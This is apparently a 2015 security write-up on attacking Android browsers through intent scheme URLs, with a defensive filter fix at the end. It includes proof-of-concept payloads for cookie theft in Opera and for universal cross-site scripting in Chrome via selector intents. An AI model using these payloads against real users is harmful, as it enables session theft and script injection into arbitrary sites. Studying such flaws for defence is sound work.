Attacking Android browsers via intent scheme URLs

YU Le
Feb 1, 2015

Introudction

Intent scheme URL is a special type of URL which enables Web pages to launch activities of installed Android apps.

Intent scheme URL brings security risk, as it gives malicious Web pages a chance to conduct intent-based attacks against installed apps.

Example:

```
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>
```

Equal to java code:

```
Intent intent = new Intent("myaction");
intent.setData(Uri.parse("mydata"));
intent.setType("text/plain");
```

Browser’s process steps

After getting the scheme URL, browser would do the following three things:

Step 1: Parsing URL.

Generate intent from the intent scheme URL.

Using *android.content.Intent.parseUri()* in Android framework to do this.

Step 2: Filtering Intent.

Filter the intent generated from step 1 to protect the device from intent scheme URL attack.

Each browser have its own filter.

Step 3: Launching activity.

Launch activities with the intent filtered by step 2.

Using *Context#startActivityIfNeeded()* or Context#startActivity() for this task.

Browser support intent scheme URL

Browser	Intent Scheme Support	App Package Name	Version
Old Stock Browser	✓	com.android.browser	(for Android 4.2.2)
Chrome for Android	✓	com.android.chrome	30.0.1599.92
Opera browser for Android	✓	com.opera.browser	16.0.1212.64462
Samsung Browser	✓	com.sec.android.app.sbrowser	1.0 (on Galaxy S4)
Firefox for Android	—	org.mozilla.firefox	26.0

Attack target

Target 1: Attack against browser apps.

Web page can send intent not only to public activity of browser app, but also to private browser app. Since the intent sender is the browser itself.

Target 2: Attack installed apps.

By utilizing intent scheme attack, Web page may succeed in intent-based attacks against installed apps.

Example: Opera mobile for cookie theft

Opera browser's filtering step is missing, so web pages are able to launch any private activity via intent scheme URL.

Poc:

```
<script>
document.cookie = "x=<script>(javascript code)</scr" + "ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT";
location.href = "intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.
browser/com.admarvel.android.ads.AdMarvelActivity;end";
</script>
```

AdMarvelActivity would load the URL(point to cookie), and render it as HTML.

Attacker can steal whole content of cookie if he has tainted the cookie file with malicious javascript code.

Example: Chrome for Android UXSS

Chrome for android contains java code like following:

```
Intent intent = Intent.parseUri(uri); intent.addCategory("android.
intent.category.BROWSABLE"); intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);
```

In the second line, chrome limits to launch activity in BROWSABLE category.

In the third line, chrome forbids explicit call.

However, attacker can bypass these setting via “selector intent”. “Selector intent” is an additional intent attached to main intent object. If main intent object has an selector intent, android framework resolve the destination of intent not by main intent but by selector intent.

Example: Chrome for Android UXSS

```
<script>
// open target web page (http://victim.example.jp/) in WebAppActivity0
location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.
chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
// a few seconds later, inject javascript payload into target web page
setTimeout(function() {
location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.
android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
}, 2000);
</script>
```

WebappActivity0 is a privacy activity, this web page load it twice using selector intent.

First is to load the target web page into WebappActivity0.

Second is to inject malicious javascript code into web page.

This means the attacker can inject malicious javascript code into any http/https web page.

Right filter setting to avoid such attack

```
// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);

// forbid launching activities without BROWSABLE category intent.addCategory("android.intent.category.
BROWSABLE");

// forbid explicit call
intent.setComponent(null);

// forbid intent with selector intent
intent.setSelector(null);

// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
```

[1] https://code.google.com/p/android-source-browsing/source/browse/core/java/android/content/Intent.java?repo=platform--frameworks--base#6514

[2] http://www.mbsd.jp/Whitepaper/IntentScheme.pdf

[3] http://blog.csdn.net/l173864930/article/details/36951805

[4] http://drops.wooyun.org/papers/2893

[5] http://androidxref.com/4.2_r1/xref/frameworks/base/core/java/android/content/Intent.java